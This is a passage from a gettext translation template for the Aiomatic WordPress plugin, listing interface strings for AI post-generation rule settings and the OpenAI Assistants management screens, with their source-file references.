res/aiomatic-youtube-list.php:3822 msgid "Prompt For The AI Category Generator" msgstr "" #: res/aiomatic-amazon-list.php:3953 res/aiomatic-listicle-list.php:3770 #: res/aiomatic-review-list.php:4106 res/aiomatic-rules-list.php:4326 #: res/aiomatic-youtube-list.php:3834 msgid "Additional Post Category" msgstr "" #: res/aiomatic-amazon-list.php:3990 res/aiomatic-csv-list.php:1628 #: res/aiomatic-listicle-list.php:3807 res/aiomatic-review-list.php:4143 #: res/aiomatic-rules-list.php:4363 res/aiomatic-youtube-list.php:3871 msgid "" "This feature will try to remove the WordPress\\'s default post category. " "This may fail in case no additional categories are added, because WordPress " "requires at least one post category for every post." msgstr "" #: res/aiomatic-amazon-list.php:3993 res/aiomatic-csv-list.php:1631 #: res/aiomatic-listicle-list.php:3810 res/aiomatic-review-list.php:4146 #: res/aiomatic-rules-list.php:4366 res/aiomatic-youtube-list.php:3874 msgid "Remove WP Default Post Category" msgstr "" #: res/aiomatic-amazon-list.php:4010 res/aiomatic-listicle-list.php:3827 #: res/aiomatic-review-list.php:4163 res/aiomatic-rules-list.php:4383 #: res/aiomatic-youtube-list.php:3891 msgid "Do Not Add Inexistent Categories" msgstr "" #: res/aiomatic-amazon-list.php:4025 res/aiomatic-listicle-list.php:3842 #: res/aiomatic-review-list.php:4178 res/aiomatic-rules-list.php:4398 #: res/aiomatic-youtube-list.php:3906 msgid "Do you want to automatically add post tags from the feed items?" msgstr "" #: res/aiomatic-amazon-list.php:4028 res/aiomatic-listicle-list.php:3845 #: res/aiomatic-review-list.php:4181 res/aiomatic-rules-list.php:4401 #: res/aiomatic-youtube-list.php:3909 msgid "Auto Add Tags" msgstr "" #: res/aiomatic-amazon-list.php:4062 res/aiomatic-listicle-list.php:3879 #: res/aiomatic-review-list.php:4215 res/aiomatic-rules-list.php:4435 #: res/aiomatic-youtube-list.php:3943 msgid "" "Select the AI Model to be used for the tag generator. You can add this to " "the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' " "settings field." msgstr "" #: res/aiomatic-amazon-list.php:4065 res/aiomatic-listicle-list.php:3882 #: res/aiomatic-review-list.php:4218 res/aiomatic-rules-list.php:4438 #: res/aiomatic-youtube-list.php:3946 msgid "AI Model For The Post Tag Generator" msgstr "" #: res/aiomatic-amazon-list.php:4091 res/aiomatic-review-list.php:4244 #: res/aiomatic-youtube-list.php:3972 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI tag " "generator. You can use the following shortcodes here: %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add " "a link to a TXT file, containing keywords (one per line), or to an RSS feed. " "If you use RSS feeds, you can also use the following additional shortcodes: " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The " "length of this command should not be greater than the max token count set in " "the settings for the prompt command - Update: %%related_questions_KEYWORD%% " "is also supported, to get a list of PAA questions for the KEYWORD you want " "to use. Update: nested shortcodes also supported (shortcodes generated by " "rules from other plugins). You can also add here a link to a .txt file, " "where you can add multiple prompts (one per line) and the plugin will select " "a random one at each run. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" #: res/aiomatic-amazon-list.php:4094 res/aiomatic-listicle-list.php:3911 #: res/aiomatic-review-list.php:4247 res/aiomatic-rules-list.php:4467 #: res/aiomatic-youtube-list.php:3975 msgid "Prompt For The AI Post Tag Generator" msgstr "" #: res/aiomatic-amazon-list.php:4106 res/aiomatic-listicle-list.php:3923 #: res/aiomatic-review-list.php:4259 res/aiomatic-rules-list.php:4479 #: res/aiomatic-youtube-list.php:3987 msgid "Additional Post Tags" msgstr "" #: res/aiomatic-amazon-list.php:4120 res/aiomatic-listicle-list.php:3937 #: res/aiomatic-review-list.php:4273 res/aiomatic-rules-list.php:4493 #: res/aiomatic-youtube-list.php:4001 msgid "Maximum Total Token Count To Use Per API Request" msgstr "" #: res/aiomatic-amazon-list.php:4131 res/aiomatic-listicle-list.php:3948 #: res/aiomatic-review-list.php:4284 res/aiomatic-rules-list.php:4504 #: res/aiomatic-youtube-list.php:4012 msgid "Maximum Prompt Token Count To Use Per API Request" msgstr "" #: res/aiomatic-amazon-list.php:4142 res/aiomatic-review-list.php:4295 #: res/aiomatic-rules-list.php:4515 res/aiomatic-youtube-list.php:4023 msgid "Maximum Continue Token Count To Use Per API Request" msgstr "" #: res/aiomatic-amazon-list.php:4165 res/aiomatic-listicle-list.php:3971 #: res/aiomatic-review-list.php:4318 res/aiomatic-rules-list.php:4538 #: res/aiomatic-youtube-list.php:4046 msgid "AI Top_p" msgstr "" #: res/aiomatic-amazon-list.php:4177 res/aiomatic-listicle-list.php:3983 #: res/aiomatic-review-list.php:4330 res/aiomatic-rules-list.php:4550 #: res/aiomatic-youtube-list.php:4058 msgid "AI Presence Penalty" msgstr "" #: res/aiomatic-amazon-list.php:4189 res/aiomatic-listicle-list.php:3995 #: res/aiomatic-review-list.php:4342 res/aiomatic-rules-list.php:4562 #: res/aiomatic-youtube-list.php:4070 msgid "AI Frequency Penalty" msgstr "" #: res/aiomatic-amazon-list.php:4199 res/aiomatic-listicle-list.php:4005 #: res/aiomatic-review-list.php:4352 res/aiomatic-rules-list.php:4572 #: res/aiomatic-youtube-list.php:4080 msgid "" "Do you want to set a featured image for the created post (royalty free or AI " "generated)? Please note that for this feature to function you must configure " "the plugin (add API keys) in the plugin\\'s \\'Settings\\' menu -> " "\\'Royalty Free Featured Image Importing Options\\' section." msgstr "" #: res/aiomatic-amazon-list.php:4202 res/aiomatic-listicle-list.php:4008 #: res/aiomatic-review-list.php:4355 res/aiomatic-rules-list.php:4575 #: res/aiomatic-youtube-list.php:4083 msgid "Auto Set A Featured Image For Posts (Select Source Below)" msgstr "" #: res/aiomatic-amazon-list.php:4231 res/aiomatic-listicle-list.php:4025 #: res/aiomatic-review-list.php:4384 res/aiomatic-rules-list.php:4592 #: res/aiomatic-youtube-list.php:4112 msgid "Search Query Repetition" msgstr "" #: res/aiomatic-amazon-list.php:4253 res/aiomatic-listicle-list.php:4047 #: res/aiomatic-review-list.php:4406 res/aiomatic-rules-list.php:4614 #: res/aiomatic-youtube-list.php:4134 msgid "Article Image Source" msgstr "" #: res/aiomatic-amazon-list.php:4287 res/aiomatic-review-list.php:4440 #: res/aiomatic-youtube-list.php:4168 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to the AI " "image generator. This command can be any given task or order, based on " "which, it will generate images. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "The length of this command should not be greater than 1000 characters, " "otherwise the plugin will strip it to 1000 characters length. - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You can also " "add here a link to a .txt file, where you can add multiple prompts (one per " "line) and the plugin will select a random one at each run. If you use " "Royalty Free Images as a source, you can also set their keywords here, if no " "keywords set, they will be automatically generated. You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" #: res/aiomatic-amazon-list.php:4290 res/aiomatic-listicle-list.php:4084 #: res/aiomatic-review-list.php:4443 res/aiomatic-rules-list.php:4651 #: res/aiomatic-youtube-list.php:4171 msgid "Prompt For The AI Image Generator" msgstr "" #: res/aiomatic-amazon-list.php:4303 res/aiomatic-listicle-list.php:4097 #: res/aiomatic-review-list.php:4456 res/aiomatic-rules-list.php:4664 #: res/aiomatic-youtube-list.php:4184 msgid "AI Image Model" msgstr "" #: res/aiomatic-amazon-list.php:4330 res/aiomatic-listicle-list.php:4124 #: res/aiomatic-review-list.php:4483 res/aiomatic-rules-list.php:4691 #: res/aiomatic-youtube-list.php:4211 msgid "Generated Image Size" msgstr "" #: res/aiomatic-amazon-list.php:4365 res/aiomatic-listicle-list.php:4159 #: res/aiomatic-review-list.php:4518 res/aiomatic-rules-list.php:4726 #: res/aiomatic-youtube-list.php:4246 msgid "Default Featured Image List" msgstr "" #: res/aiomatic-amazon-list.php:4377 res/aiomatic-listicle-list.php:4171 #: res/aiomatic-review-list.php:4530 res/aiomatic-rules-list.php:4738 #: res/aiomatic-youtube-list.php:4258 msgid "HTML Text To Prepend To AI Created Content" msgstr "" #: res/aiomatic-amazon-list.php:4384 msgid "" "Enter a HTML text that should be append to the AI generated content in each " "created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %" "%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %" "%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%" "%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: %" "%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-amazon-list.php:4387 res/aiomatic-listicle-list.php:4181 #: res/aiomatic-review-list.php:4540 res/aiomatic-rules-list.php:4748 #: res/aiomatic-youtube-list.php:4268 msgid "HTML Text To Append To AI Created Content" msgstr "" #: res/aiomatic-amazon-list.php:4397 res/aiomatic-listicle-list.php:4191 #: res/aiomatic-review-list.php:4550 res/aiomatic-rules-list.php:4758 #: res/aiomatic-youtube-list.php:4278 msgid "Custom Shortcode Creator (Optional)" msgstr "" #: res/aiomatic-amazon-list.php:4404 res/aiomatic-csv-list.php:1349 #: res/aiomatic-listicle-list.php:4198 res/aiomatic-review-list.php:4557 #: res/aiomatic-rules-list.php:4765 res/aiomatic-youtube-list.php:4285 msgid "" "The AI writer might add the title of the post to the created post content. " "Check this checkbox if you want to remove the title from the post content" msgstr "" #: res/aiomatic-amazon-list.php:4407 res/aiomatic-csv-list.php:1352 #: res/aiomatic-listicle-list.php:4201 res/aiomatic-review-list.php:4560 #: res/aiomatic-rules-list.php:4768 res/aiomatic-youtube-list.php:4288 msgid "Strip Title From Content" msgstr "" #: res/aiomatic-amazon-list.php:4424 res/aiomatic-csv-list.php:1369 #: res/aiomatic-listicle-list.php:4218 res/aiomatic-review-list.php:4577 #: res/aiomatic-rules-list.php:4785 res/aiomatic-youtube-list.php:4305 msgid "Do Not Spin Posts Generated By This Rule" msgstr "" #: res/aiomatic-amazon-list.php:4440 res/aiomatic-csv-list.php:1385 #: res/aiomatic-listicle-list.php:4234 res/aiomatic-review-list.php:4593 #: res/aiomatic-rules-list.php:4801 res/aiomatic-youtube-list.php:4321 msgid "Do Not Translate Posts Generated By This Rule" msgstr "" #: res/aiomatic-amazon-list.php:4456 res/aiomatic-review-list.php:4609 msgid "Process Each Title/Keyword Only Once" msgstr "" #: res/aiomatic-amazon-list.php:4502 res/aiomatic-csv-list.php:1464 #: res/aiomatic-listicle-list.php:4296 res/aiomatic-review-list.php:4655 #: res/aiomatic-rules-list.php:4863 res/aiomatic-youtube-list.php:4400 msgid "Replace Matches From Regex (Content)" msgstr "" #: res/aiomatic-amazon-list.php:4514 res/aiomatic-csv-list.php:1476 #: res/aiomatic-listicle-list.php:4308 res/aiomatic-review-list.php:4667 #: res/aiomatic-rules-list.php:4875 res/aiomatic-youtube-list.php:4412 msgid "Post Author" msgstr "" #: res/aiomatic-amazon-list.php:4574 res/aiomatic-csv-list.php:1536 #: res/aiomatic-listicle-list.php:4368 res/aiomatic-review-list.php:4727 #: res/aiomatic-rules-list.php:4935 res/aiomatic-youtube-list.php:4472 msgid "Item Type" msgstr "" #: res/aiomatic-amazon-list.php:4593 res/aiomatic-csv-list.php:1555 #: res/aiomatic-listicle-list.php:4387 res/aiomatic-review-list.php:4746 #: res/aiomatic-rules-list.php:4954 res/aiomatic-youtube-list.php:4491 msgid "" "If your template supports \"Post Formats\", than you can select one here. If " "not, leave this at it's default value." msgstr "" #: res/aiomatic-amazon-list.php:4596 res/aiomatic-csv-list.php:1558 #: res/aiomatic-listicle-list.php:4390 res/aiomatic-review-list.php:4749 #: res/aiomatic-rules-list.php:4957 res/aiomatic-youtube-list.php:4494 msgid "Generated Post Format" msgstr "" #: res/aiomatic-amazon-list.php:4657 res/aiomatic-csv-list.php:1619 #: res/aiomatic-listicle-list.php:4451 res/aiomatic-review-list.php:4810 #: res/aiomatic-rules-list.php:5018 res/aiomatic-youtube-list.php:4555 msgid "Post Parent ID" msgstr "" #: res/aiomatic-amazon-list.php:4669 res/aiomatic-csv-list.php:1648 #: res/aiomatic-listicle-list.php:4463 res/aiomatic-review-list.php:4822 #: res/aiomatic-rules-list.php:5030 res/aiomatic-youtube-list.php:4567 msgid "Enable Comments For Posts" msgstr "" #: res/aiomatic-amazon-list.php:4682 res/aiomatic-csv-list.php:1661 #: res/aiomatic-listicle-list.php:4476 res/aiomatic-review-list.php:4835 #: res/aiomatic-rules-list.php:5043 res/aiomatic-youtube-list.php:4580 msgid "Do you want to enable pingbacks and trackbacks for the generated posts?" msgstr "" #: res/aiomatic-amazon-list.php:4685 res/aiomatic-csv-list.php:1664 #: res/aiomatic-listicle-list.php:4479 res/aiomatic-review-list.php:4838 #: res/aiomatic-rules-list.php:5046 res/aiomatic-youtube-list.php:4583 msgid "Enable Pingback/Trackback" msgstr "" #: res/aiomatic-amazon-list.php:4701 res/aiomatic-csv-list.php:1680 #: res/aiomatic-listicle-list.php:4495 res/aiomatic-review-list.php:4854 #: res/aiomatic-rules-list.php:5063 res/aiomatic-youtube-list.php:4599 msgid "Set a Custom Post Publish Date Range" msgstr "" #: res/aiomatic-amazon-list.php:4712 res/aiomatic-csv-list.php:1691 #: res/aiomatic-listicle-list.php:4506 res/aiomatic-review-list.php:4865 #: res/aiomatic-rules-list.php:5074 res/aiomatic-youtube-list.php:4610 msgid "Post Custom Fields" msgstr "" #: res/aiomatic-amazon-list.php:4724 res/aiomatic-csv-list.php:1703 #: res/aiomatic-listicle-list.php:4518 res/aiomatic-review-list.php:4877 #: res/aiomatic-rules-list.php:5086 res/aiomatic-youtube-list.php:4622 msgid "Post Custom Taxonomies" msgstr "" #: res/aiomatic-amazon-list.php:4734 res/aiomatic-csv-list.php:1713 #: res/aiomatic-listicle-list.php:4528 res/aiomatic-review-list.php:4887 #: res/aiomatic-rules-list.php:5096 res/aiomatic-youtube-list.php:4632 msgid "Assign WPML/Polylang Language to Posts" msgstr "" #: res/aiomatic-amazon-list.php:4747 res/aiomatic-automation-list.php:7987 #: res/aiomatic-csv-list.php:1809 res/aiomatic-listicle-list.php:4541 #: res/aiomatic-review-list.php:4900 res/aiomatic-rules-list.php:5109 #: res/aiomatic-youtube-list.php:4645 msgid "Do Not Run This Rule On The Following Days Of The Week" msgstr "" #: res/aiomatic-amazon-list.php:4772 res/aiomatic-automation-list.php:8013 #: res/aiomatic-csv-list.php:1835 res/aiomatic-listicle-list.php:4567 #: res/aiomatic-review-list.php:4925 res/aiomatic-rules-list.php:5135 #: res/aiomatic-youtube-list.php:4670 msgid "" "Shortcode for this rule
                    (to cross-post from this plugin in other " "plugins):" msgstr "" #: res/aiomatic-amazon-list.php:4772 res/aiomatic-automation-list.php:8013 #: res/aiomatic-csv-list.php:1835 res/aiomatic-listicle-list.php:4567 #: res/aiomatic-review-list.php:4925 res/aiomatic-rules-list.php:5135 #: res/aiomatic-youtube-list.php:4670 msgid "Posts Generated:" msgstr "" #: res/aiomatic-amazon-list.php:4774 res/aiomatic-automation-list.php:8015 #: res/aiomatic-csv-list.php:1837 res/aiomatic-listicle-list.php:4569 #: res/aiomatic-review-list.php:4927 res/aiomatic-rules-list.php:5137 #: res/aiomatic-youtube-list.php:4672 msgid "View Generated Posts" msgstr "" #: res/aiomatic-amazon-list.php:4776 res/aiomatic-automation-list.php:8017 #: res/aiomatic-csv-list.php:1839 res/aiomatic-listicle-list.php:4571 #: res/aiomatic-review-list.php:4929 res/aiomatic-rules-list.php:5139 #: res/aiomatic-youtube-list.php:4674 msgid "Last Run: " msgstr "" #: res/aiomatic-amazon-list.php:4782 res/aiomatic-automation-list.php:8023 #: res/aiomatic-csv-list.php:1845 res/aiomatic-listicle-list.php:4577 #: res/aiomatic-review-list.php:4935 res/aiomatic-rules-list.php:5145 #: res/aiomatic-youtube-list.php:4680 msgid "Next Run: " msgstr "" #: res/aiomatic-amazon-list.php:4812 res/aiomatic-automation-list.php:8053 #: res/aiomatic-csv-list.php:1875 res/aiomatic-listicle-list.php:4607 #: res/aiomatic-review-list.php:4965 res/aiomatic-rules-list.php:5175 #: res/aiomatic-youtube-list.php:4710 msgctxt "Date Time Format1" msgid "Y-m-d H:i:s" msgstr "" #: res/aiomatic-amazon-list.php:4828 res/aiomatic-automation-list.php:8069 #: res/aiomatic-csv-list.php:1891 res/aiomatic-listicle-list.php:4623 #: res/aiomatic-review-list.php:4981 res/aiomatic-rules-list.php:5191 #: res/aiomatic-youtube-list.php:4726 msgid "Rule Disabled" msgstr "" #: res/aiomatic-amazon-list.php:4830 res/aiomatic-automation-list.php:8071 #: res/aiomatic-csv-list.php:1893 res/aiomatic-listicle-list.php:4625 #: res/aiomatic-review-list.php:4983 res/aiomatic-rules-list.php:5193 #: res/aiomatic-youtube-list.php:4728 msgid "Local Time: " msgstr "" #: res/aiomatic-assistants.php:53 res/aiomatic-batch.php:10 #: res/aiomatic-training.php:9 msgid "" "You must add an OpenAI API Key into the plugin's 'Settings' menu before you " "can use this feature!" msgstr "" #: res/aiomatic-assistants.php:60 res/aiomatic-batch.php:17 #: res/aiomatic-training.php:16 msgid "This feature is currently not supported when using Azure/Claude API!" msgstr "" #: res/aiomatic-assistants.php:69 res/aiomatic-batch.php:26 #: res/aiomatic-training.php:25 msgid "" "This feature is currently supported only if you enter a single OpenAI API " "key in the plugin's 'Settings' menu." msgstr "" #: res/aiomatic-assistants.php:76 res/aiomatic-batch.php:33 msgid "You need to add an API key in plugin settings for this to work." msgstr "" #: res/aiomatic-assistants.php:84 res/aiomatic-batch.php:41 #: res/aiomatic-training.php:33 msgid "This feature is currently supported only for OpenAI API keys." msgstr "" #: res/aiomatic-assistants.php:94 res/aiomatic-automation-list.php:92 #: res/aiomatic-batch.php:51 res/aiomatic-chatbot.php:1031 #: res/aiomatic-embeddings.php:35 res/aiomatic-limits-statistics.php:693 #: res/aiomatic-playground.php:22 res/aiomatic-shortcodes.php:114 #: res/aiomatic-spinner-list.php:33 msgid "Tutorial" msgstr "" #: res/aiomatic-assistants.php:95 msgid "Manage Assistants" msgstr "" #: res/aiomatic-assistants.php:96 msgid "Manage Assistant Files" msgstr "" #: res/aiomatic-assistants.php:100 msgid "What are AI Assistants?" msgstr "" #: res/aiomatic-assistants.php:101 msgid "" "The Assistants API (or AI GPTs) is a cool feature that lets you create AI " "helpers in your applications, like your WordPress site. These assistants can " "do a bunch of stuff like run code, find information, and even call functions " "to get things done. Right now, it works with a few handy tools, and there's " "more coming soon." msgstr "" #: res/aiomatic-assistants.php:102 msgid "" "To add an Assistants to your WordPress site, you'll follow steps like these:" msgstr "" #: res/aiomatic-assistants.php:103 msgid "Step 1a: Set Up Your Assistant" msgstr "" #: res/aiomatic-assistants.php:104 msgid "" "Go to the 'Manage Assistants' tab and click the 'Add New Assistant' button. " "Fill out an intuitive name for the assistant, select an AI model, add a " "description and in the 'Assistant Context Prompt' settings field, be sure to " "add any information that the Assistant should be aware of. Here you can " "teach it about its name, role and purpose. You can also enable advanced " "features like 'Code Interpreter' and 'File Search', add your own functions " "or even upload files for the assistant to process and to extract content " "from them. Finally, you can assign also an avatar for the Assistant, which " "will be used for the chatbot, when this assistant is used." msgstr "" #: res/aiomatic-assistants.php:105 msgid "Step 1b: Set Up Your Assistant" msgstr "" #: res/aiomatic-assistants.php:106 msgid "" "If you already have assistants created on OpenAI's platform, you can import " "these assistants, using the 'Import Assistants From OpenAI' button. All " "create assistants will appear in the plugin and will be able to be used." msgstr "" #: res/aiomatic-assistants.php:107 msgid "Step 2: Select The Assistants To Be Used In Plugin Settings" msgstr "" #: res/aiomatic-assistants.php:108 msgid "" "The bulk of the work is done, now you can go to the part of the plugin where " "you want to use assistants and select the assistant instead of the AI model " "(usually, you will find an 'AI Assistant Name' settings field, where you " "will be able to select the imported assistants." msgstr "" #: res/aiomatic-assistants.php:109 msgid "" "That's it! You've successfully set up an AI-powered Assistant on your " "WordPress website using the Aiomatic plugin. This Assistant can be a " "valuable tool for engaging with your website visitors, answering frequently " "asked questions, and providing personalized assistance, or even create " "content for your site which is highly focused on your specific needs." msgstr "" #: res/aiomatic-assistants.php:110 msgid "AI Assistants Tutorial Video" msgstr "" #: res/aiomatic-assistants.php:119 msgid "Upload A New Assistant File" msgstr "" #: res/aiomatic-assistants.php:124 res/aiomatic-batch.php:204 msgid "Select A File To Upload" msgstr "" #: res/aiomatic-assistants.php:131 res/aiomatic-batch.php:211 msgid "File uploaded successfully!" msgstr "" #: res/aiomatic-assistants.php:132 res/aiomatic-assistants.php:362 #: res/aiomatic-automation-list.php:2274 res/aiomatic-batch.php:212 #: res/aiomatic-chatbot.php:8747 res/aiomatic-embeddings.php:188 #: res/aiomatic-shortcodes.php:479 res/aiomatic-training.php:139 msgid "Uploading" msgstr "" #: res/aiomatic-assistants.php:138 res/aiomatic-batch.php:179 #: res/aiomatic-batch.php:218 res/aiomatic-training.php:145 #: res/aiomatic-training.php:254 msgid "Upload to OpenAI" msgstr "" #: res/aiomatic-assistants.php:139 res/aiomatic-batch.php:219 #: res/aiomatic-training.php:146 msgid "Maximum upload file size:" msgstr "" #: res/aiomatic-assistants.php:143 res/aiomatic-batch.php:223 msgid "(Please increase this value if you want to upload larger files)" msgstr "" #: res/aiomatic-assistants.php:153 msgid "Manage Uploaded Assistant Files" msgstr "" #: res/aiomatic-assistants.php:155 res/aiomatic-batch.php:235 #: res/aiomatic-training.php:425 msgid "Sync Files" msgstr "" #: res/aiomatic-assistants.php:156 res/aiomatic-batch.php:236 #: res/aiomatic-training.php:426 msgid "View Files On OpenAI" msgstr "" #: res/aiomatic-assistants.php:161 res/aiomatic-batch.php:241 #: res/aiomatic-training.php:354 res/aiomatic-training.php:436 msgid "Size" msgstr "" #: res/aiomatic-assistants.php:163 res/aiomatic-batch.php:243 #: res/aiomatic-training.php:438 res/aiomatic-training.php:529 msgid "Created At" msgstr "" #: res/aiomatic-assistants.php:164 res/aiomatic-batch.php:244 #: res/aiomatic-training.php:351 res/aiomatic-training.php:439 msgid "Filename" msgstr "" #: res/aiomatic-assistants.php:166 res/aiomatic-batch.php:246 #: res/aiomatic-training.php:355 res/aiomatic-training.php:441 #: res/aiomatic-training.php:535 msgid "Action" msgstr "" #: res/aiomatic-assistants.php:174 msgid "Manage Assistants:" msgstr "" #: res/aiomatic-assistants.php:177 msgid "Import Assistants From OpenAI" msgstr "" #: res/aiomatic-assistants.php:180 res/aiomatic-assistants.php:429 msgid "Add New Assistant" msgstr "" #: res/aiomatic-assistants.php:183 res/aiomatic-assistants.php:319 msgid "Backup/Restore Assistants" msgstr "" #: res/aiomatic-assistants.php:186 res/aiomatic-limits-statistics.php:834 msgid "Check On OpenAI" msgstr "" #: res/aiomatic-assistants.php:189 msgid "Delete Selected Assistants" msgstr "" #: res/aiomatic-assistants.php:210 msgid "All assistants" msgstr "" #: res/aiomatic-assistants.php:227 res/aiomatic-automation-list.php:2420 #: res/aiomatic-automation-list.php:2536 res/aiomatic-chatbot.php:2992 #: res/aiomatic-single-list.php:429 res/aiomatic-single-list.php:440 #: res/aiomatic-single-list.php:451 msgid "Name" msgstr "" #: res/aiomatic-assistants.php:233 res/aiomatic-chatbot.php:2998 msgid "Avatar" msgstr "" #: res/aiomatic-assistants.php:236 msgid "Assistant Local ID" msgstr "" #: res/aiomatic-assistants.php:239 msgid "Assistant OpenAI ID" msgstr "" #: res/aiomatic-assistants.php:242 res/aiomatic-automation-list.php:2426 #: res/aiomatic-automation-list.php:2542 res/aiomatic-batch.php:312 #: res/aiomatic-chatbot.php:3004 res/aiomatic-embeddings.php:124 #: res/aiomatic-embeddings.php:695 res/aiomatic-embeddings.php:700 #: res/aiomatic-shortcodes.php:594 res/aiomatic-spinner-list.php:5685 #: res/aiomatic-spinner-list.php:5710 msgid "Date" msgstr "" #: res/aiomatic-assistants.php:245 res/aiomatic-automation-list.php:2429 #: res/aiomatic-automation-list.php:2545 res/aiomatic-batch.php:315 #: res/aiomatic-chatbot.php:3007 res/aiomatic-embeddings.php:125 #: res/aiomatic-embeddings.php:146 res/aiomatic-shortcodes.php:597 msgid "Manage" msgstr "" #: res/aiomatic-assistants.php:270 msgid "Test" msgstr "" #: res/aiomatic-assistants.php:274 res/aiomatic-batch.php:335 msgid "Sync" msgstr "" #: res/aiomatic-assistants.php:276 res/aiomatic-automation-list.php:2580 #: res/aiomatic-chatbot.php:3027 res/aiomatic-shortcodes.php:622 msgid "Edit" msgstr "" #: res/aiomatic-assistants.php:286 msgid "" "No assistants added. You can add more using the 'Add New Assistant' button " "from above." msgstr "" #: res/aiomatic-assistants.php:297 res/aiomatic-automation-list.php:2487 #: res/aiomatic-automation-list.php:2601 res/aiomatic-batch.php:364 #: res/aiomatic-chatbot.php:1259 res/aiomatic-chatbot.php:3049 msgid "Page: " msgstr "" #: res/aiomatic-assistants.php:329 msgid "Restore Assistants From File" msgstr "" #: res/aiomatic-assistants.php:333 msgid "Hit this button and you can restore assistants from file." msgstr "" #: res/aiomatic-assistants.php:342 res/aiomatic-automation-list.php:2254 #: res/aiomatic-chatbot.php:8727 res/aiomatic-shortcodes.php:459 msgid "Backup File (*.json)" msgstr "" #: res/aiomatic-assistants.php:350 res/aiomatic-automation-list.php:2262 #: res/aiomatic-chatbot.php:8735 res/aiomatic-shortcodes.php:467 msgid "Overwrite Existing" msgstr "" #: res/aiomatic-assistants.php:359 msgid "" "File uploaded successfully you can view it in the assistant listing tab." msgstr "" #: res/aiomatic-assistants.php:369 msgid "Import Assistants From File" msgstr "" #: res/aiomatic-assistants.php:371 res/aiomatic-automation-list.php:2283 #: res/aiomatic-chatbot.php:8756 res/aiomatic-embeddings.php:195 #: res/aiomatic-shortcodes.php:488 msgid "Maximum upload file size" msgstr "" #: res/aiomatic-assistants.php:385 msgid "Backup Current Assistants To File:" msgstr "" #: res/aiomatic-assistants.php:389 msgid "Hit this button and you can backup the current assistants to file." msgstr "" #: res/aiomatic-assistants.php:400 msgid "Import Default Assistants (This Can Take For A While)" msgstr "" #: res/aiomatic-assistants.php:404 msgid "" "Hit this button and the plugin will create the default assistants which come " "bundled with the plugin." msgstr "" #: res/aiomatic-assistants.php:412 msgid "Import Default Assistants" msgstr "" #: res/aiomatic-assistants.php:437 res/aiomatic-assistants.php:638 msgid "Assistant Name*" msgstr "" #: res/aiomatic-assistants.php:440 res/aiomatic-assistants.php:641 msgid "Set the name of this assistant." msgstr "" #: res/aiomatic-assistants.php:446 res/aiomatic-assistants.php:647 msgid "Assistant Model*" msgstr "" #: res/aiomatic-assistants.php:449 res/aiomatic-assistants.php:650 msgid "Set the AI model of this assistant." msgstr "" #: res/aiomatic-assistants.php:462 res/aiomatic-assistants.php:663 #: res/aiomatic-chatbot.php:1380 res/aiomatic-chatbot.php:6697 msgid " (Vision)" msgstr "" #: res/aiomatic-assistants.php:469 res/aiomatic-assistants.php:670 msgid "Model Temperature" msgstr "" #: res/aiomatic-assistants.php:472 res/aiomatic-assistants.php:673 msgid "" "What sampling temperature to use, between 0 and 2. Higher values like 0.8 " "will make the output more random, while lower values like 0.2 will make it " "more focused and deterministic." msgstr "" #: res/aiomatic-assistants.php:478 res/aiomatic-assistants.php:679 msgid "Model Top_p" msgstr "" #: res/aiomatic-assistants.php:481 res/aiomatic-assistants.php:682 msgid "" "An alternative to sampling with temperature, called nucleus sampling, where " "the model considers the results of the tokens with top_p probability mass. " "So 0.1 means only the tokens comprising the top 10% probability mass are " "considered." msgstr "" #: res/aiomatic-assistants.php:487 res/aiomatic-assistants.php:688 msgid "Assistant Description" msgstr "" #: res/aiomatic-assistants.php:490 res/aiomatic-assistants.php:691 msgid "Set the description of this assistant." msgstr "" #: res/aiomatic-assistants.php:496 res/aiomatic-assistants.php:697 msgid "Assistant Context Prompt" msgstr "" #: res/aiomatic-assistants.php:500 res/aiomatic-assistants.php:701 #: res/aiomatic-chatbot.php:8661 #, php-format msgid "" "Set the prompt which will be sent to the AI. Add a context to the AI " "chatbot, so it knows how to act and how to respond to customers. You can " "define here the language, tone of voice and role of the AI assistant. Any " "other settings will also be able to be defined here. This text will be " "preppended to each conversation, to teach the AI some additional info about " "you or its behavior. This text will not be displayed to users, it will be " "only sent to the chatbot. You can also use shortcodes in this field. List of " "supported shortcodes: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, " "%%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, " "%%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. " "You can also use custom fields (post meta) that it's assigned to posts using " "custom shortcodes in this format: %%!custom_field_slug!%%. You can also use " "custom user meta fields (user meta) which is assigned to users using 